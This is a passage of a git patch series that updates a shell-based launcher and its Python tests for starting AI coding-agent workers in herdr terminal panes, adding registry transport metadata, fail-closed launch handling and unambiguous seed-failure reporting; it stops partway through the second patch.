From 3e7d18fe36a4cc5a5d7bca7bf774dfd1ea1d376f Mon Sep 17 00:00:00 2001
From: Robert Gering <mail@robertgering.de>
Date: Tue, 11 Aug 2026 15:32:59 +0200
Subject: [PATCH 01/12] Declare herdr transport metadata in the agent registry

Modern herdr (0.7.5+) starts agents in an already-open pane via
`agent start --kind <kind> --pane <id>`, which the launcher cannot
derive from a selector name or by parsing argv[0]. Each registry entry
now declares it explicitly:

- `herdr_mode=agent-start` + `herdr_kind` for claude/codex/grok, where
  argv[0] equals the kind so the launcher drops exactly that word
- `herdr_mode=pane-run` + `herdr_kind=kimi` for the two-phase wrapper,
  plus `herdr_marker=WORKER_SEED_FAILED` for seed-failure detection
- the metadata is generic, so a future dynamic wrapper entry needs no
  launcher change

Also make a failed kimi seed unambiguous: it prints the machine-readable
marker, states TASK.md was not started, and exits with the seed's own
code instead of waiting for Enter and opening an empty `kimi -c --auto`
session that looks like a healthy worker.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AurDZwFXYtjzi5BUcMaxaW
---
 plugins/work-system/scripts/agent-registry.sh | 117 +++++++++++++-----
 .../scripts/test_agent_registry.py            |  91 ++++++++++----
 2 files changed, 152 insertions(+), 56 deletions(-)

diff --git a/plugins/work-system/scripts/agent-registry.sh b/plugins/work-system/scripts/agent-registry.sh
index b9b94eb..20d4af5 100755
--- a/plugins/work-system/scripts/agent-registry.sh
+++ b/plugins/work-system/scripts/agent-registry.sh
@@ -31,13 +31,34 @@
 #              the work-system continue skill resumes TASK.md deterministically)
 #   codex   -> codex -m <model> <bootstrap-prompt>
 #   grok    -> grok  -m <model> <bootstrap-prompt>
-#   kimi    -> sh -c 'kimi -m "$1" -p "$2"; exec kimi -c --auto' \
+#   kimi    -> sh -c '<seed-or-fail>; exec kimi -c --auto' \
 #                    kimi-worker <model> <bootstrap-prompt>          (seed+continue)
 #   The bootstrap prompt (codex/grok/kimi have no work-system skills) tells the
 #   agent to read TASK.md and drive the task to a PR. `supports=` metadata records
 #   which lifecycle hooks each agent honors, so /close and /continue can degrade
 #   for non-claude workers instead of faking claude-only behavior.
 #
+# HERDR TRANSPORT metadata (`herdr_mode=` / `herdr_kind=` / `herdr_marker=`).
+# herdr 0.7.5+ starts agents in an ALREADY-OPEN pane (`agent start <name> --kind
+# <kind> --pane <id> -- <native args>`) instead of placing them itself. That needs
+# two facts the launcher must NOT guess from a selector name or by parsing argv[0]:
+#   herdr_mode=agent-start  the argv IS a canonical CLI invocation, so the launcher
+#                           drops argv[0] (which MUST equal herdr_kind, herdr's
+#                           canonical executable for that kind) and hands the rest
+#                           to `--kind`. Native claude/codex/grok entries.
+#   herdr_mode=pane-run     the argv is a WRAPPER that cannot be projected onto
+#                           `--kind` (kimi's two-phase seed+continue `sh -c`). The
+#                           launcher sends `argv_shell=` as one `pane run` command
+#                           and then waits until herdr detects `herdr_kind` in that
+#                           exact pane. `herdr_marker=` is the ASCII token such a
+#                           wrapper prints when its seed phase fails, so the
+#                           launcher can tell a definitive failure from "still
+#                           starting" instead of guessing.
+# The pair is generic on purpose: a future dynamically-registered wrapper (e.g. a
+# cc-harness agent that ends up as an interactive `claude`) declares
+# `pane-run` + `herdr_kind=claude` without any launcher change. An entry whose
+# mode the launcher does not know must fail CLOSED before anything is created.
+#
 #   Why kimi needs the two-phase seed+continue shape (all probed live, 0.31.1):
 #   kimi has NO positional launch prompt (`kimi "text"` -> "unknown command"), no
 #   initial-prompt env var, and piped stdin only prefills the input box without
@@ -92,23 +113,39 @@ KIMI_CREDENTIALS_FILE="${KIMI_CREDENTIALS_FILE:-$HOME/.kimi-code/credentials/kim
 # argv word; the launch helper passes it verbatim.
 BOOTSTRAP_PROMPT='Read TASK.md in this worktree and continue the task. Commit on the current branch as you go, and open a PR when the work is complete.'
 
+# The ASCII token a wrapper worker prints when its seed phase fails. Machine
+# readable on purpose: herdr-launch.sh greps the pane for it while it waits for the
+# worker to be detected, so a dead seed is a DEFINITIVE failure (roll the tab back)
+# instead of an ambiguous "maybe still starting" timeout. Emitted to callers as
+# `herdr_marker=` for every pane-run entry — never hardcode it in a consumer.
+SEED_FAIL_MARKER='WORKER_SEED_FAILED'
+
 # kimi's two-phase launch script (see the header). Defined once here so the shape
 # has exactly one home; emit_argv passes it as the `sh -c` word.
 #
-# The seed's failure is made LOUD on purpose. `;` would run phase 2 regardless and
-# the TUI's first repaint scrolls the error off-screen — leaving a tab that looks
-# like a healthy worker but never read TASK.md. `&&` is not the fix either: it
-# kills the pane, and the task's whole point is that the tab survives. So: report,
-# wait for an explicit keypress, then hand over to an (empty) session the user now
-# knows is empty. Verified: a failed seed in a fresh worktree yields a NEW empty
-# session, never a foreign one — `kimi -c` is scoped to the working directory.
-# Kept ASCII-only and free of backslash escapes so `printf %q` renders it as a
+# A failed seed must be UNAMBIGUOUS, and it must not leave anything behind that
+# could be mistaken for a working worker. The earlier shape ran phase 2 regardless
+# (`;`) after a keypress, which produced exactly that trap: an empty `kimi -c
+# --auto` session that never read TASK.md but looks alive to herdr's detection —
+# and to the user. So on a seed failure this now prints the machine-readable
+# marker, states that TASK.md was not started, and exits with the SEED'S exit code
+# WITHOUT running phase 2 and without waiting for input (an unattended background
+# tab has nobody to press Enter). Only a successful seed reaches `exec kimi -c
+# --auto`; the `exec` re-roots the pane at kimi so herdr detects it.
+# Consequence on the LEGACY herdr path (0.7.0-0.7.4), where the worker argv is the
+# tab's ROOT process: a failed seed now ends that process, so herdr closes the tab.
+# Accepted deliberately — a closed tab is honest, whereas the empty session it
+# replaces was actively misleading. On modern herdr the wrapper runs inside a shell
+# pane, so the marker and the error stay on screen and the launcher rolls the tab
+# back itself.
+# Kept ASCII-only and free of backslash escapes so `shell_quote` renders it as a
 # plain single-quoted word in `argv_shell=` — a `$'…'` form would be bash/zsh-only
 # and near-unreadable in the copy-paste block.
-KIMI_LAUNCH_SCRIPT='kimi -m "$1" -p "$2" || { echo; echo "[work-system] kimi seed FAILED (see the error above): TASK.md was not read, nothing was started."; echo "Press Enter to open an empty kimi session in this worktree."; read -r _; }; exec kimi -c --auto'
+KIMI_LAUNCH_SCRIPT='if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; echo; echo "[work-system] '"$SEED_FAIL_MARKER"': kimi seed exited $rc - TASK.md was NOT started and no session was opened."; exit $rc; fi'
 
 # ---------- registry ----------
-# `flag|cli|model|supports`. flag `-` = no shorthand (name/--agent only). The
+# `flag|cli|model|supports|herdr_mode|herdr_kind`. flag `-` = no shorthand
+# (name/--agent only). The
 # FIRST entry of each CLI is that CLI's default model (for a bare `--agent codex`).
 # `supports` is per-agent capability metadata: which lifecycle hooks each agent
 # honors —
@@ -120,13 +157,18 @@ KIMI_LAUNCH_SCRIPT='kimi -m "$1" -p "$2" || { echo; echo "[work-system] kimi see
 # currently hardcode the claude-vs-non-claude distinction in prose; this field is
 # the seed for the manager/worker-orchestration design to read per-agent
 # capabilities from one place. Keep it in sync when that lands.
-REGISTRY='--fable|claude|fable|continue,close-exit,statusline,commit,pr
---opus|claude|opus|continue,close-exit,statusline,commit,pr
--|claude|sonnet|continue,close-exit,statusline,commit,pr
---codex|codex|gpt-5.6-terra|commit,pr
---sol|codex|gpt-5.6-sol|commit,pr
---grok|grok|grok-4.5|commit,pr
---kimi|kimi|kimi-code/k3-256k|commit,pr'
+#
+# `herdr_mode|herdr_kind` is the modern-herdr transport contract (see the header):
+# agent-start entries hand their argv TAIL to `--kind <herdr_kind>` (so argv[0]
+# MUST equal herdr_kind), pane-run entries are wrappers sent as one shell command
+# and then waited for until herdr detects herdr_kind in that pane.
+REGISTRY='--fable|claude|fable|continue,close-exit,statusline,commit,pr|agent-start|claude
+--opus|claude|opus|continue,close-exit,statusline,commit,pr|agent-start|claude
+-|claude|sonnet|continue,close-exit,statusline,commit,pr|agent-start|claude
+--codex|codex|gpt-5.6-terra|commit,pr|agent-start|codex
+--sol|codex|gpt-5.6-sol|commit,pr|agent-start|codex
+--grok|grok|grok-4.5|commit,pr|agent-start|grok
+--kimi|kimi|kimi-code/k3-256k|commit,pr|pane-run|kimi'
 
 usage() {
   # Usage = header comment from line 2 up to (not including) the registry
@@ -136,34 +178,39 @@ usage() {
 }
 
 # ---------- registry access ----------
-# Emit one `flag|cli|model|supports` record per line (skips blank lines).
+# Emit one `flag|cli|model|supports|herdr_mode|herdr_kind` record per line.
 registry_rows() { printf '%s\n' "$REGISTRY"; }
 
+# Re-emit a record with a FIXED field count, so every row_for_* returns the same
+# shape even if a row were ever short a trailing field (a short row must not shift
+# the transport metadata into `supports`). One definition, used by all three.
+emit_row() { printf '%s|%s|%s|%s|%s|%s\n' "$1" "$2" "$3" "$4" "$5" "$6"; }
+
 # Print the whole record for a canonical name (cli:model), or nothing.
 row_for_name() {
-  local want="$1" flag cli model supports
-  while IFS='|' read -r flag cli model supports; do
+  local want="$1" flag cli model supports mode kind
+  while IFS='|' read -r flag cli model supports mode kind; do
     [ -n "$cli" ] || continue
-    [ "$cli:$model" = "$want" ] && { printf '%s|%s|%s|%s\n' "$flag" "$cli" "$model" "$supports"; return 0; }
+    [ "$cli:$model" = "$want" ] && { emit_row "$flag" "$cli" "$model" "$supports" "$mode" "$kind"; return 0; }
   done < <(registry_rows)
   return 1
 }
 
 # Print the record whose shorthand flag matches, or nothing.
 row_for_flag() {
-  local want="$1" flag cli model supports
-  while IFS='|' read -r flag cli model supports; do
+  local want="$1" flag cli model supports mode kind
+  while IFS='|' read -r flag cli model supports mode kind; do
     [ "$flag" = "-" ] && continue
-    [ "$flag" = "$want" ] && { printf '%s|%s|%s|%s\n' "$flag" "$cli" "$model" "$supports"; return 0; }
+    [ "$flag" = "$want" ] && { emit_row "$flag" "$cli" "$model" "$supports" "$mode" "$kind"; return 0; }
   done < <(registry_rows)
   return 1
 }
 
 # Print the default (first) record for a bare CLI name, or nothing.
 row_for_cli_default() {
-  local want="$1" flag cli model supports
-  while IFS='|' read -r flag cli model supports; do
-    [ "$cli" = "$want" ] && { printf '%s|%s|%s|%s\n' "$flag" "$cli" "$model" "$supports"; return 0; }
+  local want="$1" flag cli model supports mode kind
+  while IFS='|' read -r flag cli model supports mode kind; do
+    [ "$cli" = "$want" ] && { emit_row "$flag" "$cli" "$model" "$supports" "$mode" "$kind"; return 0; }
   done < <(registry_rows)
   return 1
 }
@@ -418,8 +465,8 @@ subcmd_resolve() {
     echo "Try: $(registry_rows | cut -d'|' -f1 | grep -v '^-$' | tr '\n' ' ')— a name (claude:opus), or a cli (codex)" >&2
     exit 2
   }
-  local flag cli model supports
-  IFS='|' read -r flag cli model supports <<<"$record"
+  local flag cli model supports mode kind
+  IFS='|' read -r flag cli model supports mode kind <<<"$record"
 
   local avail note
   IFS=$'\t' read -r avail note < <(entry_status "$cli" "$model")
@@ -429,6 +476,12 @@ subcmd_resolve() {
   printf 'model=%s\n' "$model"
   printf 'available=%s\n' "$avail"
   printf 'supports=%s\n' "$supports"
+  # Modern-herdr transport (see the header). Always emitted — a consumer that
+  # cannot interpret the mode must fail closed rather than guess from the name.
+  printf 'herdr_mode=%s\n' "$mode"
+  printf 'herdr_kind=%s\n' "$kind"
+  # Only wrappers can fail their seed phase, so only they carry the marker.
+  [ "$mode" = pane-run ] && printf 'herdr_marker=%s\n' "$SEED_FAIL_MARKER"
   [ -n "$note" ] && printf 'note=%s\n' "$note"
   emit_argv "$cli" "$model" "$session"
 
@@ -444,8 +497,8 @@ subcmd_list() {
   esac
 
   # Build rows: name cli model available note (TAB-separated internally).
-  local rows="" flag cli model supports avail note
-  while IFS='|' read -r flag cli model supports; do
+  local rows="" flag cli model supports mode kind avail note
+  while IFS='|' read -r flag cli model supports mode kind; do
     [ -n "$cli" ] || continue
     IFS=$'\t' read -r avail note < <(entry_status "$cli" "$model")
     rows+="$cli:$model	$cli	$model	$avail	$note"$'\n'
diff --git a/plugins/work-system/scripts/test_agent_registry.py b/plugins/work-system/scripts/test_agent_registry.py
index a5529c3..78e347b 100644
--- a/plugins/work-system/scripts/test_agent_registry.py
+++ b/plugins/work-system/scripts/test_agent_registry.py
@@ -122,12 +122,15 @@ def run(self, *args, project_state=True):
 
     def run_argv(self, argv):
         """Execute a resolved launch argv against the stubs; return the per-call
-        argv lines the kimi stub recorded."""
+        argv lines the kimi stub recorded. The CompletedProcess is kept on
+        `self.last_proc` so a test can also assert the wrapper's exit code and
+        output (the seed-failure contract is exactly that)."""
         env = dict(self.env)
         env["KIMI_ARGLOG"] = str(self.kimi_arglog)
         self.kimi_arglog.write_text("")
-        subprocess.run(argv, env=env, cwd=str(self.home), stdin=subprocess.DEVNULL,
-                       capture_output=True, text=True, timeout=30)
+        self.last_proc = subprocess.run(
+            argv, env=env, cwd=str(self.home), stdin=subprocess.DEVNULL,
+            capture_output=True, text=True, timeout=30)
         return [line.split("\t")[:-1]
                 for line in self.kimi_arglog.read_text().splitlines()]
 
@@ -180,12 +183,11 @@ def kv(out):
 # kimi has no positional launch prompt and `-p` cannot be combined with --auto/-y,
 # so a worker is `-p` (seed, runs tools unattended) then `exec kimi -c --auto`
 # (interactive + autonomous, inheriting the seed's session history).
+SEED_MARKER = "WORKER_SEED_FAILED"
 KIMI_SCRIPT = (
-    'kimi -m "$1" -p "$2" || { echo; '
-    'echo "[work-system] kimi seed FAILED (see the error above): '
-    'TASK.md was not read, nothing was started."; '
-    'echo "Press Enter to open an empty kimi session in this worktree."; '
-    'read -r _; }; exec kimi -c --auto'
+    'if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; echo; '
+    f'echo "[work-system] {SEED_MARKER}: kimi seed exited $rc - '
+    'TASK.md was NOT started and no session was opened."; exit $rc; fi'
 )
 
 r = kv(e.run("resolve", "--kimi").stdout)
@@ -214,17 +216,19 @@ def kv(out):
 # legitimately mentions TASK.md in its seed-failure message.
 check("prompt is not spliced into the script text", r["argv"][5] not in script)
 check("-p takes the positional as its value", '-p "$2"' in script)
-check("--auto is not in the same command as -p",
-      "--auto" not in script.split("||", 1)[0])
+check("--auto is only reachable from the SUCCESS branch (never in -p's value slot)",
+      "--auto" not in script.split("then", 1)[0])
 check("no bare -p/--prompt argv word (it stays bound inside the script)",
       "-p" not in r["argv"] and "--prompt" not in r["argv"])
-# A failed seed must neither kill the pane (`&&`) nor slip past unseen (`;`):
-# it reports, waits for a keypress, then still hands over to phase 2.
-check("seed failure is announced, not silent", "seed FAILED" in script)
-check("seed failure waits for acknowledgement", "read -r _" in script)
-check("phase 2 still runs after a failed seed (tab survives)",
-      script.rstrip().endswith("exec kimi -c --auto")
-      and "&&" not in script.split("exec", 1)[0].replace("||", ""))
+# A failed seed must be unambiguous: a machine-readable marker (herdr-launch.sh
+# greps the pane for it), an explicit "not started", no phase 2, and no wait for a
+# keypress nobody is there to press.
+check("seed failure prints the machine-readable marker", SEED_MARKER in script)
+check("seed failure states TASK.md was not started", "TASK.md was NOT started" in script)
+check("seed failure does not wait for input", "read " not in script)
+check("phase 2 is gated behind the seed's success",
+      script.startswith("if kimi ") and "then exec kimi -c --auto" in script)
+check("seed failure exits with the seed's own code", "exit $rc" in script)
 
 # Execute the resolved argv for real against the stub and assert what each phase
 # actually received — string checks alone can't prove the shell binds the values
@@ -241,24 +245,63 @@ def kv(out):
           "--auto" not in seed and "-y" not in seed)
     check("phase 2 is the interactive autonomous continue", cont == ["-c", "--auto"])
 
-# A FAILING seed must still reach phase 2 — the tab has to survive. Runs the real
-# argv against a stub whose non-`provider` calls exit 1 (the first stub always
-# exits 0, so this path was previously untested).
+# A FAILING seed must be a hard, self-announcing stop: marker on stdout, the
+# seed's own exit code, and NO phase 2 — an empty `kimi -c --auto` session that
+# never read TASK.md is indistinguishable from a healthy worker to herdr's
+# detection (and to the user), which is exactly the trap this replaces. Runs the
+# real resolved argv against a stub whose non-`provider` calls exit 7, so code
+# propagation is asserted on a value nothing else could produce.
 e_fail = Env()
 (Path(e_fail.env["PATH"].split(":")[0]) / "kimi").write_text(
     "#!/bin/sh\n"
     '[ -n "$KIMI_ARGLOG" ] && { printf \'%s\\t\' "$@" >> "$KIMI_ARGLOG"; '
     'printf \'\\n\' >> "$KIMI_ARGLOG"; }\n'
     'if [ "$1" = "provider" ]; then echo \'{"models": {"kimi-code/k3-256k": {}}}\'; exit 0; fi\n'
-    "exit 1\n"
+    "exit 7\n"
 )
 (Path(e_fail.env["PATH"].split(":")[0]) / "kimi").chmod(0o755)
 fail_calls = e_fail.run_argv(kv(e_fail.run("resolve", "--kimi").stdout)["argv"])
-check("a failed seed still reaches phase 2", len(fail_calls) == 2)
-if len(fail_calls) == 2:
-    check("phase 2 after a failed seed is still -c --auto", fail_calls[1] == ["-c", "--auto"])
+check("a failed seed runs the seed and NOTHING else", len(fail_calls) == 1)
+if fail_calls:
+    check("the one call was the -p seed", "-p" in fail_calls[0])
+check("no phase-2 `-c --auto` after a failed seed",
+      ["-c", "--auto"] not in fail_calls)
+check("the seed's exit code propagates out of the wrapper",
+      e_fail.last_proc.returncode == 7)
+check("the wrapper prints the machine-readable marker",
+      SEED_MARKER in e_fail.last_proc.stdout)
+check("the marker line names the failing seed's code",
+      "exited 7" in e_fail.last_proc.stdout)
 e_fail.close()
 
+# --- herdr transport metadata (modern `agent start --kind --pane`) --------- #
+# The launcher must not infer transport from a selector name or by parsing argv[0]
+# — every entry declares it. Native CLIs are `agent-start` with a kind that EQUALS
+# their argv[0] (the launcher drops that word and hands the rest to --kind); kimi's
+# wrapper is `pane-run` and carries the seed-failure marker.
+for sel, mode, kind in (("--fable", "agent-start", "claude"),
+                        ("--opus", "agent-start", "claude"),
+                        ("claude:sonnet", "agent-start", "claude"),
+                        ("--codex", "agent-start", "codex"),
+                        ("--sol", "agent-start", "codex"),
+                        ("--grok", "agent-start", "grok"),
+                        ("--kimi", "pane-run", "kimi")):
+    t = kv(e.run("resolve", sel).stdout)
+    check(f"{sel}: herdr_mode={mode}", t.get("herdr_mode") == mode)
+    check(f"{sel}: herdr_kind={kind}", t.get("herdr_kind") == kind)
+    if mode == "agent-start":
+        check(f"{sel}: argv[0] equals the declared kind (no rebuild needed)",
+              t["argv"][0] == kind)
+        check(f"{sel}: no seed marker on a native entry", "herdr_marker" not in t)
+    else:
+        check(f"{sel}: wrapper declares the seed marker",
+              t.get("herdr_marker") == SEED_MARKER)
+        check(f"{sel}: wrapper argv[0] is NOT the kind (needs pane-run)",
+              t["argv"][0] != kind)
+# `supports` must not absorb the new trailing fields (field-order regression).
+check("supports is unchanged by the added transport columns",
+      kv(e.run("resolve", "--grok").stdout).get("supports") == "commit,pr")
+
 # canonical name and bare-cli-default selectors
 check("name selector claude:sonnet",
       kv(e.run("resolve", "claude:sonnet").stdout).get("model") == "sonnet")

From 5ac24f1ba4b3fda07c74a435e69313070cbdb532 Mon Sep 17 00:00:00 2001
From: Robert Gering <mail@robertgering.de>
Date: Tue, 11 Aug 2026 15:43:10 +0200
Subject: [PATCH 02/12] Speak herdr 0.8's tab-first launch contract,
 feature-detected
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

herdr 0.7.5 changed `agent start` to require an already-open pane, so
work-system 1.11.0 fails on 0.8 with "unknown option: --workspace".
The launcher now reads which contract this herdr speaks from `agent
start --help` (read-only, never a version compare — 0.7.x spans both)
and refuses to touch anything if it recognizes neither.

Modern path: create the final background tab first, then start the
worker in its root pane.

- native workers (claude/codex/grok) go through `--kind`: argv[0] must
  equal the registry's declared kind and is dropped, every remaining
  argument keeps its order and boundaries, and the returned pane id must
  match the requested one
- `agent_pane_busy` — the real failure right after `tab create`, while
  the login shell is still running its rc files — is retried bounded,
  and no other error is ever retried
- wrapper workers (kimi) are delivered as one `pane run` command after a
  bounded shell-prompt wait, then confirmed by polling until herdr
  detects the expected kind in that exact pane
- definitive failures (usage error, no such pane, busy exhausted, seed
  marker) roll the created tab back exactly once via herdr-teardown's
  close-then-verify; ambiguous ones (readiness timeout, unknown error,
  pane-id mismatch, wrong detected kind) leave the tab alone and return
  the new fail-closed `blocked=unverified` result
- an unconfirmed rollback also downgrades to `blocked=unverified` rather
  than claiming a clean failure

The legacy 0.7.0-0.7.4 sequence, diagnostics and stdout contract are
untouched, and `moved=yes` is kept on the modern path for callers.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AurDZwFXYtjzi5BUcMaxaW
---
 plugins/work-system/scripts/herdr-launch.sh   | 508 +++++++++++++--
 .../work-system/scripts/test_herdr_launch.py  | 580 ++++++++++++++++--
 2 files changed, 1001 insertions(+), 87 deletions(-)

diff --git a/plugins/work-system/scripts/herdr-launch.sh b/plugins/work-system/scripts/herdr-launch.sh
index c76fa04..ece2e0a 100755
--- a/plugins/work-system/scripts/herdr-launch.sh
+++ b/plugins/work-system/scripts/herdr-launch.sh
@@ -3,18 +3,44 @@
 #
 # Two modes share one precondition/JSON-parse/output contract:
 #
-#   launch  (/kickoff, /adopt) — spawn the chosen worker as ARGV via `agent start … --
-#                         <worker-argv>`, then move it into its own background tab.
+#   launch  (/kickoff, /adopt) — open a background tab running the chosen worker.
+#                         herdr changed HOW that is done in 0.7.5, so the launcher
+#                         feature-detects the contract (see "launch API" below) and
+#                         speaks whichever this herdr offers:
+#
+#                         LEGACY (0.7.0-0.7.4) — herdr places the agent itself:
+#                           agent start <name> --workspace <ws> --cwd <dir> --no-focus
+#                                              -- <worker-argv>
+#                           pane move <pane> --new-tab --label <label> --no-focus
 #                         The worker is the tab's ROOT pane, so a later clean /exit
-#                         ends the pane and herdr closes the tab. Argv-exec
-#                         structurally avoids the shell-startup keystroke race (see
-#                         the kickoff knowledge entry) — a fresh interactive shell
-#                         can eat the leading keystrokes of a typed command.
+#                         ends the pane and herdr closes the tab.
+#
+#                         MODERN (0.7.5+, incl. 0.8) — `agent start` requires an
+#                         ALREADY-OPEN pane at an interactive shell prompt, so the
+#                         final tab is created FIRST and the worker started in its
+#                         root pane; nothing is moved afterwards:
+#                           tab create --workspace <ws> --cwd <dir> --label <label>
+#                                      --no-focus
+#                           agent start <name> --kind <kind> --pane <pane> -- <args>
+#                         The worker therefore runs INSIDE a shell pane: a later
+#                         /exit drops back to that shell and the tab survives, so
+#                         /close's marker + SessionEnd hook (not agent exit) are the
+#                         normal teardown path.
+#
+#                         Both paths keep the same stdout contract, and both avoid
+#                         the shell-startup keystroke race (see the kickoff knowledge
+#                         entry): legacy by exec'ing argv, modern by letting herdr's
+#                         own `agent start` readiness handling drive the pane — its
+#                         `agent_pane_busy` rejection is retried, bounded.
 #                         The worker argv is resolved from an agent SELECTOR via
 #                         agent-registry.sh (claude/codex/grok/kimi × model); with no
 #                         selector it stays the legacy `claude … /work-system:continue`. The
-#                         registry owns every per-CLI launch detail, so this script
-#                         is CLI-agnostic — it just execs the resolved argv.
+#                         registry owns every per-CLI launch detail INCLUDING how the
+#                         worker reaches modern herdr (`herdr_mode=agent-start` hands
+#                         the argv tail to `--kind`; `herdr_mode=pane-run` sends the
+#                         registry's `argv_shell=` as one `pane run` command for
+#                         wrappers that cannot be projected onto a native kind), so
+#                         this script stays CLI-agnostic.
 #
 #   resume  (/continue) — reopen a tab at the worktree and run `claude -c` INSIDE a
 #                         shell pane, then focus it. Because Claude runs inside a
@@ -53,6 +79,16 @@
 # launch selector errors (nothing spawned): exit 2 = unknown selector; exit 3 =
 # the CLI is not available, with stdout `unavailable=<name>` + `note=<hint>` so
 # the caller can print a clear "run: … login".
+# launch adds ONE fail-closed outcome, exit 0 with `blocked=unverified` first:
+#   blocked=unverified
+#   pane=<pane or empty>
+#   tab=<tab or empty>
+#   agent=<resolved agent>
+# It means a tab exists and a worker MAY be running in it, but the launch could
+# not be confirmed (readiness timeout, an unrecognized herdr error, a pane-id
+# mismatch, or a rollback that could not be verified). Callers must branch on
+# `blocked` BEFORE `moved`, tell the user to inspect that tab, and must NOT launch
+# again, print the manual worker command, or save a project default.
 # resume adds three keys so the caller never reports a resume that didn't happen:
 #   reused=<yes|no>  (yes → a tab already existed at this worktree and was focused,
 #                     NOT a new one — no second `claude -c` was started. Its LIVE
@@ -127,6 +163,65 @@ if [ -f "$glyph_helper" ]; then
   [ -n "$stamped" ] && tab_label="$stamped"
 fi
 
+# bounded_run <seconds> <cmd...> — run cmd under a hard time bound, so a wedged
+# herdr can never hang a launch. Prints cmd's stdout; returns cmd's exit code, or
+# 124 if the bound killed it. Uses timeout/gtimeout when present, else a detached
+# killer that escalates SIGTERM → SIGKILL (a process ignoring SIGTERM must not
+# block us either). The killer's fds go to /dev/null: this runs inside a command
+# substitution, and a background job holding the captured pipe would make $(…)
+# block until it exits. agent-registry.sh carries the same primitive for its CLI
+# probes; kept local here so the launcher has no cross-script runtime dependency.
+bounded_run() {
+  local secs="$1"; shift
+  local rc=0
+  if command -v timeout >/dev/null 2>&1; then
+    timeout  -k 1 "$secs" "$@" || rc=$?
+  elif command -v gtimeout >/dev/null 2>&1; then
+    gtimeout -k 1 "$secs" "$@" || rc=$?
+  else
+    local tmp; tmp="$(mktemp)"
+    "$@" >"$tmp" 2>&1 &
+    local pid=$!
+    ( sleep "$secs"; kill "$pid" 2>/dev/null; sleep 2; kill -9 "$pid" 2>/dev/null ) >/dev/null 2>&1 &
+    local killer=$!
+    if wait "$pid" 2>/dev/null; then rc=0; else rc=$?; fi
+    kill "$killer" 2>/dev/null || true
+    cat "$tmp"; rm -f "$tmp"
+  fi
+  case "$rc" in 137|143) rc=124 ;; esac
+  return "$rc"
+}
+
+# ---- launch API detection --------------------------------------------------
+# Which `agent start` contract this herdr speaks, read ONLY from its --help (no
+# process is started to find out) and NEVER from a version string: 0.7.x spans
+# BOTH contracts (the change landed in 0.7.5), so a version compare would route
+# half of that range to the wrong path.
+#   modern  --kind AND --pane offered  → tab create first, start into that pane
+#   legacy  --workspace AND --cwd      → herdr places the agent, then pane move
+#   unknown neither                    → fail BEFORE creating or starting anything
+# $WORK_SYSTEM_HERDR_API forces the answer (tests, and an escape hatch if a future
+# herdr's help text stops naming its flags).
+detect_launch_api() {
+  [ -n "${WORK_SYSTEM_HERDR_API:-}" ] && { printf '%s\n' "$WORK_SYSTEM_HERDR_API"; return 0; }
+  local help
+  help="$(bounded_run 10 herdr agent start --help 2>&1 || true)"
+  if printf '%s' "$help" | grep -q -- '--kind' && printf '%s' "$help" | grep -q -- '--pane'; then
+    printf 'modern\n'
+  elif printf '%s' "$help" | grep -q -- '--workspace' && printf '%s' "$help" | grep -q -- '--cwd'; then
+    printf 'legacy\n'
+  else
+    printf 'unknown\n'
+  fi
+}
+
+# Bounds for the modern path. All overridable so tests stay hermetic and fast.
+START_TIMEOUT_MS="${WORK_SYSTEM_HERDR_START_TIMEOUT_MS:-30000}"  # herdr's own readiness wait
+BUSY_TRIES="${WORK_SYSTEM_HERDR_BUSY_TRIES:-20}"                 # agent_pane_busy retries
+READY_TRIES="${WORK_SYSTEM_HERDR_READY_TRIES:-20}"               # shell-prompt wait (pane-run)
+DETECT_TRIES="${WORK_SYSTEM_HERDR_DETECT_TRIES:-60}"             # wrapper detection polls
+RETRY_DELAY="${WORK_SYSTEM_HERDR_RETRY_DELAY:-0.5}"              # seconds between polls
+
 # JSON extractors. null / missing / malformed all yield empty, and a stray
 # traceback can never reach the user's terminal.
 #   launch: agent start → result.agent.pane_id, then move → the created tab id.
@@ -135,22 +230,48 @@ try:
     print(json.load(sys.stdin)["result"]["agent"]["pane_id"] or "")
 except Exception:
     pass'
+#   modern launch: the detected agent kind of one pane (`pane get`), i.e. what
+#   herdr believes is running there. Empty for a plain shell pane.
+extract_pane_agent='import sys, json
+try:
+    print(json.load(sys.stdin)["result"]["pane"].get("agent") or "")
+except Exception:
+    pass'
+#   modern launch (pane-run): is the pane back at its own shell prompt, i.e. safe
+#   to type a command into? True when the foreground process group IS the shell —
+#   during rc-file startup (direnv, sops, ssh-add …) a child holds it instead, and
+#   text sent then can be eaten. `unknown` when the answer cannot be read at all
+#   (older herdr without process-info), which the caller degrades on rather than
+#   blocking a launch forever.
+extract_shell_ready='import sys, json
+try:
+    pi = json.load(sys.stdin)["result"]["process_info"]
+    fg, shell = pi.get("foreground_process_group_id"), pi.get("shell_pid")
+    print("ready" if (fg is not None and fg == shell) else "busy")
+except Exception:
+    print("unknown")'
 extract_moved_tab='import sys, json
 try:
     print(json.load(sys.stdin)["result"]["move_result"]["created_tab"]["tab_id"] or "")
 except Exception:
     pass'
-#   resume: tab create → the new tab's root pane id and its tab id in ONE pass,
-#   pipe-delimited as `<pane>|<tab>` (the tab id may live at result.tab_id or,
-#   defensively, under the root pane). A single `|` is ALWAYS printed, so the caller
-#   splits on the first `|` — an empty pane with a present tab yields pane="" (which
-#   then fails the non-empty-pane guard) instead of the tab being mis-read as the
-#   pane. herdr ids are `wN:pM`/`wN:tM` and never contain `|`.
+#   tab create (BOTH the modern launch and resume) → the new tab's root pane id and
+#   its tab id in ONE pass, pipe-delimited as `<pane>|<tab>`. Verified against herdr
+#   0.8: `result.root_pane.pane_id` + `result.tab.tab_id`. The fallbacks are
+#   deliberate and each covers a real shape — a flat `result.tab_id` (what earlier
+#   herdr returned, still exercised by the tests) and the tab id echoed under the
+#   root pane. A single `|` is ALWAYS printed, so the caller splits on the first `|`
+#   — an empty pane with a present tab yields pane="" (which then fails the
+#   non-empty-pane guard) instead of the tab being mis-read as the pane. herdr ids
+#   are `wN:pM`/`wN:tM` and never contain `|`. A partial response therefore still
+#   surrenders whatever id IS there, which is what lets the caller clean up a tab
+#   that came back without a usable pane instead of orphaning it.
 extract_root_pane_tab='import sys, json
 try:
     r = json.load(sys.stdin)["result"]
